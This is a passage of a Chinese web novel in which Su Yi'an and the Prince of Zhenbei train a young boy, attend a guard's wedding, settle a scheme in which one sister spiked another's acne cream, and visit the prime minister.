萧北铭突然后悔自己答应得太快了,但是开弓也没有回头箭了,他只能说好。 “对了,那刺客招了,是皇后干的,不过,我觉得现在时机不成熟,此事不宜让父皇知道。” 苏苡安在他的怀里合上了双眸,声音困倦, “你处理就好,我对这些事情没兴趣,我要睡觉……” 萧北铭看她这副慵懒迷离的困倦样子,和昨日那个刺客的状态有点像,兴许,这会儿能问出点什么, “多亏了你的真话药水,要不然,兴许就问不出来了,你怎么想着配制这种东西?” 苏苡安即便没睡醒,撒谎的技能也是信口就来, “曾经有个江湖门派花重金跟我求的,我配了三个月才配出来呢,你可不要外泄,很值钱的,少十万两不干。” 你可真是……什么都是十万两…… 萧北铭此刻突然后知后觉,当初,她给自己解热毒,一开口就是十万两,不是讹他,就是她的一种要价习惯。 自己当时真的不该对她那么凶,以她的本事,要价十万两,很合理啊。 萧北铭去到了萧晏的院子里。 萧晏谨记教诲,见到不速之客,没有摆出从前的漠视脸和死鱼眼,而是扔下了手里的小木剑,开开心心地跑过去跪地行大礼,奶音甜甜地道, “给父王请早安,父王万福金安。” 萧北铭实在不喜欢他这副一眼假的笑脸,双手背后,高高地站在那里,垂眸冷睨,语气不善, “你没必要违心地跟我来晨昏定省这一套。” 萧晏抬眸看他,一字一句,言辞恳切, “儿子是真心给父王请安的,不管父王喜不喜欢儿,儿都永远感恩父王给予我生命,还给了我一副好皮囊,让我的人生多了数不清的便利。” 说起娘亲的教诲,萧晏的眼神里多了真挚的虔诚,让这番话变得特别可信。 不得不说,萧北铭听到这些甜言蜜语,心中莫名的舒畅,就是感觉比从前他们父子大眼瞪小眼,两两无语来得痛快。 父王没有叫自己起身,萧晏知道自己被刁难了,不过,他也不气馁,马上就想到了自己能合理起身的说辞, “父王稍等,我进屋去给你拿礼物,是我和美女大人在猎场给你做的。” 第132章 他是我们的儿子就好了 萧北铭一点都不想要他的劳什子礼物,可是,听说苏苡安也有参与,他就好奇那礼物是什么。 萧晏一溜烟地跑进屋里去,顷刻之后,又一溜烟地跑出来,手里多了一张树叶粘贴画,奶音甜甜地说, “父王,你瞧啊,我和美女大人一起捡的树叶子,一起粘贴的,画都是她一个人画的,这个大老虎是你,小老虎是我,这个大熊是乌二叔叔。” 萧北铭看着画上的美人图,虽是白描勾勒,但画工真心不错,一眼就能看出画上女子是谁, “为何我们都是动物,就她是个人?” “因为,她说她永远都是大美女。” “凭什么啊?你现在就在旁边贴一只……” 萧北铭期待着公平,思索一瞬,脑海里闪过和她最接近的动物,聪明又漂亮, “……狐狸!” 萧晏眨巴着晶莹的大眼睛, “啊?狐狸啊?我还没见过狐狸诶,都不知道狐狸长什么样,父王,你能教教我吗?这样,我们一家人就整整齐齐了。” 萧晏的话,纯属生硬胡扯,北疆多白狐,他哪里能没见过? 只是彼时,气氛到这里了,萧北铭知道是圈套,也得往里走。 因为,他无法拒绝一家人整整齐齐这种说辞,也无法拒绝把她以狐狸的形象贴出来这种公平之事。 萧北铭跟着萧晏进屋,帮他从书里夹着的各种树叶子里,挑出两头尖尖的柳树叶, “给她贴一对尖耳朵,再给她多贴几条尾巴,起码九条,整日坑蒙拐骗吹捧哄,简直就是狐狸精转世。” 萧晏笑盈盈,声音清脆又响亮, “嘿嘿,美女大人说,世事艰难,生存不易,能成功坑蒙拐骗,也是一种本事,只要不欺凌弱小就好。 美女大人悬壶济世,扶危济困,她若是狐狸精,也定是能受人香火的狐狸仙。” 萧北铭终于知道,这小东西怎么这么快就俘获了父皇的心。 一个四岁的娃娃,这么会说好听的,谁能不迷糊? 也不怪她对他如此好…… 真是上天苦我,为何他不是我们两个的孩子…… 萧北铭心中的危机感,又加重了一重: 这小东西太聪明了,长大了可不得了,不得把我们的孩子当猴耍? 送走,尽快送走,眼不见心不烦。 为了达到尽快把萧晏送去北疆的目的,萧北铭教他武功,也上心起来了。 学剑法,在战场上并没有多大优势,要学枪法! 苏苡安睡了一个回笼觉,还不见萧北铭回来,她有点担心小团子搞不定那大炮仗,就起身寻去。 萧北铭正挥舞着一杆长枪,在院中辗转腾挪。 他真恨不能把自己会的,一下子都教给他,这样,以后就不用教了,眼不见心不烦。 苏苡安眼眸一亮: 他好帅哦,这是我能免费看的吗? 好像,还很厉害的样子诶! 这激起了苏苡安奇怪的胜负欲,立即就拔了短刃,冲上去比试。 萧北铭眼瞳震颤了一下: 她是不是起猛了?怎么能拿短刃对付长枪啊! 不要命了? 萧北铭虚晃两枪,连连退后了几步,拉开了一个安全距离, “短刃不能破长枪,起码要换一把长剑才行。” 苏苡安只会用短刃,她甚至都没碰过长剑,一个现代人,谁会用长剑做武器啊? 苏苡安一挑眉, “不试一试怎么知道?” “那你小心些。” 苏苡安这么一试,才服气,短刃果然丝毫不是长枪的对手。 萧北铭又道,“你换长剑。” 苏苡安戏谑道,“我就一个大夫,你觉得我会那玩意儿?” 萧北铭一点都没信她,一个人能把短刃使得步步杀招之人,怎么能不会长剑呢? 萧北铭挥长枪,从兵刃架子上挑了一把长剑,给她扔了过去。 苏苡安利索地接住了长剑,但是,使唤起来确实是笨手笨脚的,有几个招式,险些伤到了自己。 萧北铭赶紧撤回了长枪,满目疑惑, “你还真不会用长剑啊?” 苏苡安笑笑,“我真不会,我就一大夫,会使短刃防身足矣,又不上战场,为何要会长剑?” 彼时,萧北铭真心想抽自己一个耳光,他竟然把一个连长剑都不会用的人,独自扔在猎场了,去争什么劳什子彩头。 万一刺客使用的武器是长枪…… 那后果,他连想都不敢想。 萧北铭喃喃道,“你怎么能不会长剑呢……” 苏苡安走到萧晏身边,摩挲着他的发顶, “那就麻烦镇北王收下我们这两个徒弟,把我们教会。” 萧北铭毫不犹豫地说道, “好,我教你。” 想要他命的人太多了,她嫁给他,也定会受牵连,必须要让她的身上没有短板才行。 萧晏是个极伶俐的,不管是刀枪棍棒,无论多难的招式,一学就会,除了写字十分难看,身上找不到任何缺点。 萧北铭对他的感情,越来越复杂,每日出晨功,都要感慨一遍: 他若是我们的儿子就好了。 他梦想中的儿子就是这样,长得像自己,性格像她,好看,聪明又伶俐,懂事又孝顺…… 这一日,高升来找苏苡安请假。 脸涨得通红,开口要请三天假,说是家里有事。 郡主才遇刺不久,按理说,他作为安康郡主府的护卫,是不应该请假的,可是,实在父母之命难为,因此,他此刻的脸色甚是难为情。 苏苡安看他窘迫成这样,不禁好奇了,问, “所谓何事?” 高升抿了抿唇,攥了攥拳,脸上的红晕烧到了耳朵根, “也不是什么大事,不请假也行!” 彼时,他心里一横: 还是郡主府的差事重要,让新娘抱着公鸡拜堂,也不是不行。 苏苡安微微一笑, “我又没说不给你假,就是好奇什么事情,你不方便说就算了,去办事吧。 不要担心府里的安全,镇北王整日在这里,我也不出府门,你没什么好记挂的,不用着急回来,给你五日假。” 高升连连摆手,忙道, “不!三日就足够了!我成亲,小门小户的,简单操办一下就够了。” 第133章 郡主不会是想买你的命吧? “啊?你要成亲了啊?” 苏苡安先是讶异一瞬,继而满脸欣喜,还有些许埋怨, “这么大的事情,怎么才说啊?成婚可是大事,三天假期哪里够?我给你放一个月假。 什么小门小户?你可是我郡主府的首席护卫,这么大的喜事,一定要风光大办才好,别丢我面子。” 苏苡安拨了款项,又派丁香和铁柱帮他操办,自己就等着吃席。 高升喜不自胜,能请到王爷和郡主去自己的婚宴,那是多大的门面啊。 这回,他彻底在宗族里立住了,自己已然成了高氏家族里最有出息的人了。 两个月前,他还是别人嘴里,从军队淘汰下来,前途尽毁的残废瘸子呢,爹娘在亲戚里都抬不起头来…… 乌二收到高升的请帖,一脸懵然,一向口齿伶俐的他,舌头都打结了, “你,你,这么突然就要成亲了啊?一点风声都没有,是谁家的姑娘啊?” 乌二为他高兴之余心中莫名的又有一点点失落: 我还准备带他这个老光棍回家给我父母看看,这样,我爹娘就不急着催我了,可他怎么就突然要成亲呢了? 这下又只剩我自己一个老光棍负重前行了,谁来为我分担一下火力啊…… 高升笑得很腼腆, “就前几天,我父母给我相的,是个七品文官家的姑娘。 姑娘我还没见过,不过,我爹娘都满意,想必还不错。” 乌二吃惊,“前几天的事?你都没见过就成亲?这是不是太草率了吧!” 高升反而对乌二的惊讶很讶异, “成亲不都是这样的吗?父母之命媒妁之言,很少有婚前见过面的吧?” 乌二想想他娘给他看的那些画像,点点头, “还真是哈……婚前能看个画像就不错了……” 不过,婚前能看画像的,也得是高门显贵,寻常人家,哪里能有那条件? 可是,乌二还是有点难以接受这种成亲方式。 他希望自己将来娶媳妇,也能像王爷和郡主一样,是由陌生到熟悉,再相知相许,自己选的媳妇才是最好的。 只是,现下,他不能明说,那样有贬损嫉妒的嫌疑。 乌二一脸尬笑, “这个惊喜,对我来说还是有点太突然了……” 高升笑得有点不好意思, “我爹娘等这一天,都等十几年了。 我小时候家里穷,连个上门说媒的都没有,根本娶不上媳妇。 后来,我在北疆建功立业,也把聘礼都攒够了,上门说亲的络绎不绝。 只是,那时候战事吃紧,我一直没能回京,先后说好的两门亲事,都是人家姑娘等不及,最后黄了。 再后来,我又受伤瘸了腿,亲事就高不成低不就了。 不是我爹娘看不上人家姑娘,就是人家姑娘看不上我这个瘸子。 如今我腿好了,虽然年龄大了些,但是,说亲却比往年容易了。” 乌二点点头, “也是,你确实早该成亲了,那姑娘多大了?” 高升脸色蓦然一红,笑容里的腼腆更甚, “二十岁了,就因为她的祖父和父亲先后过世,她接连守重孝,才把婚事耽误了,本来,她是准备这辈子都不嫁人了。我们两个年龄都大,正好凑一凑,谁也别嫌弃谁。” 乌二拍拍他的肩膀,笑道, “你真是得了便宜还卖乖,人家姑娘二十岁,照比你可年轻太多了。 再说,她能为了长辈守重孝决定终身不嫁,想必是个心性极好的姑娘。 娶妻娶贤,你能娶到她,可真是好福气,就幸福着去吧。” 乌二这一番话,高升极为受用,脸红到了耳朵根,尽显铁汉柔情。 乌二看得有点傻眼了: 成亲是一件这么神奇的事吗?面都没见过呢,一个铁骨铮铮的汉子都能害羞成这样…… 高升大婚,有了苏苡安经济支持,办得特别热闹。 高升的父母,骄傲得像两只大公鸡,笑容咧到了耳根子,他们可算是扬眉吐气了,以后,没人再敢小瞧他们家了! 宾客散去,小两口清点今日的宾客礼单。 新娘子看着安康郡主那一栏,赫然写着礼金一万两,人都傻了, “夫君,你救过郡主的命吗?” 高升不知道媳妇为何会突然这么问,一脸懵然, “我哪有本事救过郡主的命啊?” 新娘更呆了,“那,郡主不会是想买你的命吧?” “啊?夫人何出此言啊?” 新娘赶忙把礼单递给她夫君看,急需夫君拿主意。 高升看了一眼,惊得嘴都合不拢了,赶忙从一堆银票中翻找出了那张一万两的银票,确认他三叔没笔误记错账,怔了好一会儿,才合上嘴,认真地说, “我的命也不值这么多钱啊!王爷和郡主对我有提携之恩,给不给钱,我都心甘情愿为他们卖命。” 高升跟着王爷做事,嘴严得很,就算是对自己的媳妇,也没透露郡主会医术之事。 高升忽而又想到郡主在猎场跟王爷说的话,她从来不给男人花钱,郡主又一向爱体面,不由得私心揣测一下,这礼金,大概是郡主用来撑面子的,就说道, “夫人,这笔钱,你收好了,不要动,等王爷和郡主大婚,咱们还回去。” “嗯,好。” 有夫君做主,新娘一颗惶恐的心,终于落地了。 这么大一笔钱,他们几辈子都赚不到,若就此收下,必定是日夜难安,还回去是对的。 这一日清晨。 苏苡安正在萧晏的小院里陪他练剑,两把小木剑针锋相对,萧北铭站在一边观战指导。 一幅一家三口,其乐融融的景象。 丁香急匆匆地过来,看到这一幕,都不好上前打扰,只是意味深长地看着苏苡安。 苏苡安的余光瞥到了丁香,看她站在门口一副欲言又止的样子,就知道出事了,事情还不小。 她转身下场,把自己手里的小木剑递给了萧北铭,往门口走去, “何事?” 萧北铭一边陪着萧晏练剑,一边竖起耳朵偷听,就看她会不会瞒着他。 苏苡安听过了丁香的汇报,又走过来,对萧北铭说, “我得出去一趟,有人砸了我的铺子,打伤了我的掌柜。” 萧北铭心里舒了一口气: 她没骗我就好。 “我陪你去看看。” 苏苡安笑道,“不用吧,这么小一件事,镇北王去了,有欺压人的嫌疑。” 萧北铭温声,“我在马车上,不下去。” “那好吧。” 萧北铭又把手里的小木剑,交给了耿豆, “你陪他练剑。” 耿豆是个极好的陪练,不管萧晏练得多凶猛,他从来不喊苦喊累也不喊疼。 萧晏特别喜欢他,说他除了不会说话这一个缺点,剩下的全是优点。 吃什么好吃的,都想着给他留一半。 两个人名义上是主仆,实际上,已经是朋友了。 第134章 掌管巴掌的神 苏苡安和萧北铭二人同乘马车,赶往美颜坊。 打砸美颜坊的是太常寺卿陆家的两个姑娘,排行老五和老六。 她们带了不少小厮和丫鬟,声势浩大,进门二话不说,就开始打砸。 此刻,已经惹了不少人观看,把铺子门口围得水泄不通。 铁柱见状,立即调转马车,走了后门。 既然是走后门进的,萧北铭也没有太多顾忌,也跟着下车了, “你去前堂处理,我在后面等你。” “嗯。”苏苡安带上帷帽,去往前厅。 映入苏苡安眼帘的,是满地狼藉,以及躺在碎瓷片上的美颜坊的女掌柜和女伙计们。 陆家的五姑娘端端上座,脸上蒙着面纱。 站在厅堂之内颐指气使叫嚣的,是陆家的六姑娘。 彼时,美颜坊的女掌柜颜丽娘虚弱地倒在地上,头发散乱,鼻青脸肿,嘴角流血,一看,就是被痛打过。 人都伤成这样了,陆六姑娘还是不放过她,又踹过去一脚,疾言厉色道, “卖假货的都该死,你们毁了我姐姐的脸,毁了她的一生,我打死你们都不为过!” 苏苡安脚下生风,用她最快的速度走到了近前,一把薅住陆六姑娘的后衣领,把人拉到身前,随之,反手一个大耳光抽过去,把人抽倒在地。 这一幕,发生的极快,陆六姑娘旁边的小厮都来不及做出反应,他们家的姑娘,就被打倒在地了。 陆六姑娘被打倒在地,又疼又懵,一时半刻都哭不出声来。 她虽然只是个太常寺卿家的庶女,可是,也是锦衣玉食娇养着长大的,别说是挨打,就是连挨骂也没有过。 彼时,陆六姑娘也顾不得疼,第一反应就是又气又恼地嘶吼, “你是什么人?竟然打我!知道我是谁家的吗?” 苏苡安居高临下地看着她, “我是上京城里掌管巴掌的神,我管你是谁家的,你打我的人,我就扇你。” 陆六姑娘简直不敢相信自己的耳朵,神情明显一怔: 这人说她是谁? 她是神?掌管巴掌的神? 她,有病吧! 可是,对方身姿笔挺,一副上位者的凛然姿态,让她不敢小觑,就看向她的五姐姐,寻求答案。 她们带来的小厮和丫鬟,也会是见惯了贵人的,此刻,见此女气质不凡,又这般傲气,也都不敢轻举妄动了,纷纷看向高坐在上的五姑娘,等待嫡出的姑娘拿主意。 座位上的陆五姑娘怔愣了片刻,终于回神了,马上站起身来。 庶妹没见过此人,作为嫡女的她,可是参加过不少皇室活动,春猎秋狩,游园会之类的,见过此人可不止一次了。 此女如此高挑优越的身段,虽然戴着帷帽,但是不用看脸,也能知道她是谁。 她可是安康郡主,是未来的镇北王妃,不是她们三品官家的女儿能惹得起的。 陆五姑娘努力稳了稳心神,仓惶地对随从说道, “快把左邻右舍都请出去。” 彼时,这些看热闹的群众还不知道她们两个是陆家的姑娘,也不知道这是安康郡主的铺子,事情还没有到不可挽回的地步,只要她肯认错,兴许还不会连累家里…… 丫鬟和小厮们把看热闹的人都请了出去,关上了大门。 陆五姑娘对着苏苡安惶恐跪地,看着满地的狼藉,和躺倒的女掌柜以及那些女伙计,浑身止不住地颤抖。 可是,一时间,她不知道这一切该怎么收场,也不知道说什么…… 彼时,陆六姑娘终于缓过劲儿了,顶着半侧肿胀的脸颊,惊诧又害怕地看向陆五, “五姐姐,你跪她作甚?她到底是什么人?” 彼时,陆五姑娘骇得牙花子都在抖, “她,她就是安康郡主……” 刚刚被搀扶起来的陆六姑娘闻言,一下就软了双腿,噗通一声跪倒在地,心下呢喃着: 完了,这铺子是我指挥砸的,人也是我下令打的,我动手打人的时候,还被安康郡主亲眼撞见了…… 嫡姐不会把我推出去顶罪,把她自己摘干净吧? 不行,我得先下手为强…… 苏苡安亲自把颜丽娘搀扶起来,扶她坐到旁边的椅子上,自己才转身,到上座坐下,看着跪地的两位陆姑娘,沉声道, “你们两个为何打砸我的铺子?” 陆六姑娘马上抢答, “郡主恕罪,因为我五姐姐的脸,在用了美颜坊的祛痘膏之后,出现了溃烂流脓,她带我来要个说法。” 苏苡安轻描淡写的语气,又不失威严, “你要说法就要说法,打砸我的铺子做什么?打人就更不对了。你爹娘没教过你讲文明懂礼貌吗?” 陆六姑娘到底是没见过什么世面,竟然被这几句话问住了,满眼泪花地看向陆五求助。 陆五姑娘收到了妹妹的眼神求助,虽然自己也很害怕,但是,还是接过了话茬,颤声哽咽道, “都是我们姐妹二人的错,我们有眼不识泰山,请郡主恕罪。” 苏苡安看向陆五, “你把面纱摘下来,我瞧瞧。” “是。” 陆五姑娘双手发着抖,好不容易,才把面纱摘下来。 这陆五姑娘,看起来不过十四五岁的年纪,中人之姿,模样比她这个妹妹差些,脸上原本是有几颗青春痘,现下痘痘已经溃烂流脓,还有些许渗血,情况很严重。 苏苡安又问, “你什么时候买的祛痘膏?什么时候开始烂脸的?” 陆五颤颤巍巍,有点像一只受惊的小兔子, “回,回郡主的话,臣女半个月前,来此定制的祛痘膏,每日早晚涂一次,本来,脸上的痘痘都消退过半了,可是,不知道为何,今早起来,脸就这样了。” “呵呵。” 苏苡安失笑, “你没长脑子吗?这祛痘膏若是有问题,你半月前就要开始烂脸了!” 陆五姑娘闻言,犹如醍醐灌顶,红唇微张,双眸满是惊讶, “难道是有人给我下毒吗?是谁要害我,我没有惹过任何人啊……” 陆六姑娘却是心虚地不敢去看安康郡主了,垂下了头,心中疑惑万千: 听说,这安康郡主,就是从前苏大学士府那个傻子,难道她现在不傻了吗…… 苏苡安冷声问道,“那祛痘膏带来了没有?” “带来了。” 陆五姑娘从自家丫鬟的手中接过来祛痘膏,双手举过头顶,恭敬呈上。 苏苡安没有伸手去接,而是看向颜丽娘, “查验。” 第135章 我只要一个真相 颜丽娘点了一下头,接过了陆五姑娘手中的祛痘膏,打开盖子,凑到鼻下,提鼻嗅了嗅气味, “主儿,这祛痘膏被人动手脚了,在里面加了白芥子和红皮蒜的粉末,故而才会导致她一夜烂脸。” 陆五姑娘震惊地看向跪在她身边的陆六, “小六,是你干的是不是? 昨天,你说要找我借一只金钗,我让你自己去选,就你动过我的梳妆台。 今早,你一大早就来还金钗,见我的脸烂了,就拉着我来砸铺子,都不等我去告诉我娘,你是何居心?” 陆六落下了两行泪,委屈得不行, “五姐姐,你怎么能空口无凭地栽赃我? 就因为我只是个庶女,你今日得罪了郡主,就要给我甩黑锅吗? 打砸这个铺子,可都是你授意的,我只不过是听你差遣而已。” 苏苡安就静静地看着这两小只争吵,她喜欢看戏。 陆五姑娘是正房养大的嫡女,母亲从小就教育她,家族荣耀是最重要的东西,比生命都重要。 她见郡主一副要看好戏的姿态,陡然想起家丑不能外扬,纵使心中有大委屈,也马上就闭嘴了。 她努力咽了咽口水,咽下了委屈,心中告诫自己,现在不是说她们姐妹私事的时候。 赔给郡主一笔钱,赶快结束眼前这一切吧,就当花钱消灾了。 陆五攥了攥拳,稳了稳心神,抬眸看向苏苡安,大义凛然地道, “郡主,这件事,不关美颜坊的事。 是我们姐妹鲁莽了,美颜坊的一切损失,还有人员的医药费,我来赔。 还请郡主大人有大量,不要跟我们姐妹一般见识。” 苏苡安轻嗤一声, “陆姑娘你是真心觉得自己有错,还是碍于我郡主的身份,委屈求全,在这里服软?” 陆五姑娘颤抖了一下,被看穿心思,她心中无比惶恐。 自己眼前这位,可是跟楚王和离了还能二嫁镇北王的奇女子,自己想花钱息事宁人的态度被识破了,在她看来是一种折辱吧? 陆五吓出了眼泪,赶紧磕了一个头,带着哭腔说道, “臣女真心觉得自己被妹妹下毒了,这件事,是家丑,臣女不想外扬,求郡主体恤垂怜。” 眼泪水可打动不了苏苡安,她冷冷道, “我喜欢把什么事情都弄得清清楚楚,明明白白,免得事后传出去什么话,说我卖假货,还以身份欺压人。” 陆五满目泪花,直摇头, “不,绝对不会有那种事,今日之事,不会有外人知晓。” 苏苡安淡笑道, “我可不听你一个小姑娘的保证,毫无信服力。 来人,把她们都送到京兆府衙门,再加上这半瓶祛痘膏,好好查一查真相。 到底是谁下的毒,为何下毒,又为何要打砸我的铺子,打伤我的人,把事情原原本本地都查清楚。 再写上告示,盖上官印,贴在本店门口,让街坊邻居都瞧个清楚明白。 别说客大欺店,也别说店大欺客,我只要一个真相。” 铁柱过来,撸胳膊挽袖子,做提人状态。 陆五姑娘可吓坏了,满目骇然: 哪里有世家贵女进衙门受审的道理啊?自己宁愿死一头撞死,都不能走这一遭! 更遑论还要贴告示公布于众…… 陆家的两个女儿带人打砸店铺,被扭送官府,最后查出起因是妹妹给姐姐下毒。 陆家丢不起这个脸! 家风不正,父亲的官声和仕途肯定会受影响。 教女无方,母亲从此就无法在贵妇圈里抬头。 陆家的男丁,从此就没有前途可言了,陆家的女眷,嫁出去的,以后在婆家都会因此事被拿捏嘲笑,没出嫁的,这辈子怕是都嫁不出去了…… 这事情太大了,她即便是身死都不能赎罪…… 思及此,陆五姑娘脸色变得跟纸一样惨白,脸上的痘痘都没血色了,她惊骇转身,双手抓住了陆六的肩膀,大力摇晃着,哭腔嘶吼道, “我们两个绝对不能进衙门! 是不是你给我下的毒?你现在就招供! 我发誓,就算我的脸从此烂得见白骨,我都绝对不怪你,也不会将此事告诉父亲母亲,现在,我只要你说实话!” 陆六从来没见五姐姐这样惊惧失态过,真心怕了,但是,她还是下意识地摇头,哭道, “五姐姐,我不想害你的……” 陆五姑娘眼眸一颤, “你不想害我?那你到底有没有害我?! 都这个时候了,你还想抵赖吗? 你明不明白,一旦我们两个进了衙门口,损了家风,家里所有人都会被我们害得没法做人。 父亲一定会让我们两个自尽赎罪的!” 陆六终于明白了事情的严重性,吓得娇躯一颤,哇的一声嚎啕大哭起来, “呜呜呜,五姐姐,我也不想害你的…… 都是我娘让我那么做的,她给了我一包粉末,让我放进你的胭脂水粉里,让你烂脸…… 这样,我就有机会嫁进辅国将军府了……” 陆六气得眼泪哗哗掉, “你这个糊涂东西!怎么能听信你娘的话?她一个乡下来的姨娘,懂什么? 我只是画像进了辅国将军辅,八字还没一撇的事! 再说,就算我的脸烂掉了,上京城里还有的是高门贵女,辅国将军府就一个嫡子,是万万不会娶一个三品官家的庶女的! 你搞这些劳什子做什么!真是猪油蒙了心了!” 苏苡安一听,心中的八卦之魂熊熊燃烧起来,内心直呼好家伙,乌二知道有姑娘为了嫁给他,已经搞起宅斗了吗? 陆五敛了敛火气和哭声,又转身朝恭敬苏苡安叩首, “郡主,今日之事已然明了,都是家丑,丝毫不关美颜坊的事情,反而是美颜坊无辜被臣女牵累。 臣女愿意赔付美颜坊的一切损失,还求郡主宽宏大量,不要将我们姐妹二人送官。 给我们姐妹二人一条活路,给陆家一条活路。 臣女感激不尽,来世,定做牛做马,报答郡主的大恩大德。” 苏苡安瞧瞧这小丫头,刚刚还吓得抖如筛糠呢,现在,涉及到她的家族名声了,竟然不发抖了,还满脸坚毅。 对她,倒也高看了一眼,转头对颜丽娘说, “丽娘,给陆姑娘治治脸。” 第136章 什么都磕只会害了自己 “是,主儿。” 颜丽娘应了一声,站起身来,一瘸一拐地去柜台后配药。 她很快的速度,抓了几味药称重包好,又拿了一瓶祛痘膏和祛疤膏,走过来双手奉上, “陆姑娘,用这些药草每日早晚熬水洗脸,再正常早晚涂抹祛痘膏,十日左右就会结痂。 等结痂自然掉落以后,再早晚各一次涂抹这瓶祛疤膏去痘印,你的脸,就会恢复得光洁如初了。” 陆五姑娘没想到自己的脸还能治好如初,感激涕零,双手接过药,一个响头磕地上,落下两行热泪, “多谢郡主大恩大德,臣女永远铭记郡主恩情。” 苏苡安办完事情,又同萧北铭一起坐上了马车,回郡主府。 路上,萧北铭商量的口吻对她说, “回头,我派几个侍卫,来这个铺子做护卫吧?” 苏苡安微笑摇头, “不用,我这铺子,不仅是美容,全是皮肤都能美,有时候需要脱衣服,有男人在这里,就没有姑娘敢光顾了。” “原来如此。” 萧北铭沉默了片刻,又说, “咱是不是应该给乌二指一门婚事啊?” 苏苡安笑得有点无奈, “哎呀,你这脑子是怎么想的啊?人家乌二真是人在家中坐,祸从天上来。 旁人为了嫁给乌二争抢起来,这可不关乌二的事情。 你可千万不要干涉别人的婚姻,乌二没有成亲的意思,你干涉他这么大的因果,会遭报应的。” 萧北铭牵起她的一只手,双手握住, “你在关心我啊?” 苏苡安挑眉一笑, “那我肯定是关心你啊,我跟你说,姻缘天定的最大,这种事情,交给月老就好了。 你不要瞎操心,指婚人家未必领情,还不好意思推辞,你就好心办坏事了。” 萧北铭心中一顿暗爽,看她的眼神逐渐拉丝, “那好,今日之事,咱就不必告诉乌二了,免得他自责,随便找一个娶了。” 苏苡安颔首一笑,有点古怪: 原来他在这里等着我啊,他是怕我找乌二麻烦,才这么拐弯抹角的。 把我当什么人了,我只是心狠手辣了些,又不是不讲道理,瞎担心什么呢…… 萧北铭有亿点心虚,“你在笑什么?” 苏苡安随便找了个由头, “我在想啊,刚刚那两个陆姑娘,两个人的年龄加一起,还没有我的鞋码大呢,就谈婚论嫁了,好神奇啊。” 萧北铭的目光从她的脸转移到她的鞋,把自己的脚移过去比了比, “你的脚很小诶。” 苏苡安看着他船一样大的鞋子,目测尺码四十六七, “有没有一种可能,是你的脚太大了?不过,我还是有点好奇,咱们谁踹人疼一点?” 萧北铭戏谑道,“要不然,咱们各踹乌二一脚,让他评判一下谁比较疼?” 苏苡安晃了晃自己的右手,“不行,我可是上京城掌管巴掌的神,我只擅长扇巴掌。” 萧北铭严词道,“扇巴掌可不行,男人的脸,不能打,你什么时候,都不能扇他巴掌。” 苏苡安莫名觉得自己有点磕到了,他们的感情,早已经超越上下级了吧? 听说,古代书童是有那种作用的…… 萧北铭看着她笑吟吟不语,目光还在他的脸上逡巡,危机感十足,又马上郑重补充, “当然,你更不能扇我,可以拿刀子捅我心窝子,但是绝对不能扇脸。” 苏苡安自嘲地笑出了声,觉得自己有点太腐女了,脑子里不由自主地想什么乱七八糟的,什么都磕只会害了自己。 她红唇轻启, “你放心,我没有随便扇人巴掌的癖好,除非给我惹恼了。 不过,乌二竟然成了上京贵女雌竞的香饽饽,我好意外啊。” 萧北铭回道,“你看人只看脸,别人可看的是家世门第,在上京城,除了天潢贵胄,乌二的家世,也算是第一阶层了,也不怪那些贵女会抢破头。” 苏苡安感慨道,“我之前,听乌二的名字,还以为他出身草莽呢,没想到竟是辅国将军的儿子。” 萧北铭若有所思地点点头, “你倒也没猜错,乌二他爹辅国将军,确实出身草莽,不认得几个字。 但是,他爹硬是靠一双铁锤,屡立奇功,捶出了满门富贵。 先登,夺旗,斩帅,立其中一个大功,都能让家族鸡犬升天,他爹竟然这三个大功都立下了。 若不是南离没有封赏异姓王侯的传统,他爹高低也得是个王爷侯爷了。肚子里再有点墨水的话,也能出将入相了。” 苏苡安显露出一脸景仰之色, “哇哦,想不到辅国将军这么厉害啊,那他怎么不找个文化人,给自己儿子取个好听的名字,乌二,这也太敷衍了,像是捡来的二娃子……” 萧北铭今日话赶话,也破天荒地讲起了别人家的八卦, “乌二一个大男人,就还好吧,他的姐姐和妹妹才可怜,姐姐叫乌大,妹妹叫乌三。” 苏苡安瞠目,“呵呵,辅国将军还真是平等地对待自己每一个孩子。” 萧北铭深感无奈,“辅国将军有他自己的理由,说这样的名字简单,起码他能认识自己孩子的名字。” “哈哈,这还真是个很好的理由哈。” 苏苡安笑过以后,又暗自思忖: 乌二能给晏儿取名叫小老虎,照比他爹,已经是个巨大的进步了…… 两个人回到了郡主府。 丁香来报,说丞相府的老管家来了,正在客厅等着安康公主。 苏苡安转身对萧北铭说,“想必,是小老头来请我去下棋的,我当时在猎场就随口说说而已,没想到他还当真了。” 萧北铭有点无奈, “你呀,跟丞相大人说话,怎么能不当真呢。 相府的门楣高,魏相又保持中立,我不好陪你去,免得有拉拢之嫌,引得父皇猜忌。 你去了就下棋,不要说别的事。” “嗯。” 苏苡安带着萧晏,去往丞相府。 下棋对她来说是次要的,最主要的,她想带孩子见见世面。 用事教孩子做人,比书本上的之乎者也有用。 小家伙若是能抱上丞相的大腿,那他也算是朝中有人了。 若日后萧北铭非要送晏儿低龄戍边,她除了找皇上请求,还可以去找丞相施加舆论压力。 到那时候,萧北铭也得考虑一下舆论的影响,掂量一下朝中大臣会不会参他一本为父不慈。 他不怕武将的刀剑,难道,还不忌讳文官的吐沫星子吗? 第137章 人脉中的人脉 安康郡主的马车在丞相府门口停下。 魏相携夫人已经早早地在门口候着了,丞相夫人手里,还牵着一个六七岁的小儿。 小家伙长得白白净净,眉清目朗,小小年纪,浑身就透着一股规规矩矩的书卷气,已经初有清冷君子,温润如玉的模样了。 苏苡安见着这小儿,眼前一亮: 这般年岁的高官家孩子,一般都在宫里陪宗室子孙读书,这小家伙怎么没有去? 这不正好安排他来年开春给晏儿做伴读吗? 我得为他培养人脉铺路了。 见礼之后,苏苡安就问魏合敬, “丞相大人,这孩子是谁?今年多大了?” 魏合敬慈爱的眼神看过去,“这是我的长孙,叫魏严,今年七岁。” 苏苡安微笑道,“他正好比晏儿大三岁,一个严儿,一个晏儿,他们两个是有缘分的。” 苏苡安又看向萧晏, “晏儿,我和你魏爷爷下棋,你去和严儿玩一会儿,我走的时候再叫你。” 萧晏不愿离开娘亲,但是,娘亲都发话,他也不能说不,嗯了一声,就松开了苏苡安,去抓魏严的手。 魏严这孩子,礼教很好,但是,却是个怕生的,他第一次被陌生人牵小手,吓得往后一缩。 魏合敬捋着花白的长胡子,哈哈一笑, “魏严,带小殿下在咱家四处逛逛,牵好他,别丢了。” 一声小殿下,让苏苡安无比愉悦: 名入玉牒的孩子就是好啊! 魏严冲祖父恭敬抱拳,一副小大人的模样, “是,祖父。” 魏严领了祖父的命令,这才牵起萧晏的手,“我带小殿下去花园走走吧?” 